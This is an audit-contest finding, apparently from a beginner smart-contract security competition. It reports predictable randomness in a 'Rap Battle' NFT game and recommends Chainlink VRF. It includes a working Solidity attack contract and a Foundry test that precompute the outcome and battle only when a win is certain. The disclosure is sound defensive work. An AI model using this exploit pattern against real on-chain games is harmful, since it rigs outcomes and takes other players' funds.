Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Challenger can game the system to always win

Summary

The Rap Battle contract generates pseudorandom numbers in a way that allows attackers to precompute values and only initiate battles when assured of winning. This enables challengers to game the system and win disproportionately.

Vulnerability Details

The key vulnerability is in _battle(uint256 _tokenId, uint256 _credBet), generating randomness with:

uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill;

Proof of Code

/// This is the attack contract
contract AttackRandom {
function attack(address rapAddress, uint256 _tokenId, uint256 bet) public {
if (RapBattle(rapAddress).defender() != address(0)) {
uint256 defenderRapperSkill = RapBattle(rapAddress).getRapperSkill(RapBattle(rapAddress).defenderTokenId());
uint256 challengerRapperSkill = RapBattle(rapAddress).getRapperSkill(_tokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, address(this))))
% totalBattleSkill;
if (random > defenderRapperSkill) {
RapBattle(rapAddress).goOnStageOrBattle(_tokenId, bet);
}
}
}
}
function testBattleAlwaysWin(uint256 randomBlock) public {
vm.startPrank(user);
oneShot.mintRapper();
oneShot.approve(address(streets), 0);
streets.stake(0);
vm.warp(4 days + 1);
streets.unstake(0);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 4);
rapBattle.goOnStageOrBattle(0, 4);
vm.stopPrank();
vm.startPrank(challenger);
oneShot.mintRapper();
oneShot.approve(address(streets), 1);
streets.stake(1);
vm.warp(8 days + 1);
streets.unstake(1);
cred.transfer(address(attacker), 4);
vm.stopPrank();
vm.prank(address(attacker));
cred.approve(address(rapBattle), 4);
vm.startPrank(challenger);
vm.roll(randomBlock);
vm.prevrandao(bytes32(uint256(100)));
attacker.attack(address(rapBattle), 1, 4);
assert(cred.balanceOf(address(attacker)) == 8);
vm.stopPrank();
}

Impact

Attackers can analyze then exploit predictable outcomes
Undermines fair distribution of rap battle wins
Harms trust in the credibility of the game

Tools Used

Manual Review

Recommendations

Recommend introducing:

More robust PRNG like Chainlink VRF

Generating true randomness preserves fairness and prevents battles exploitation.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.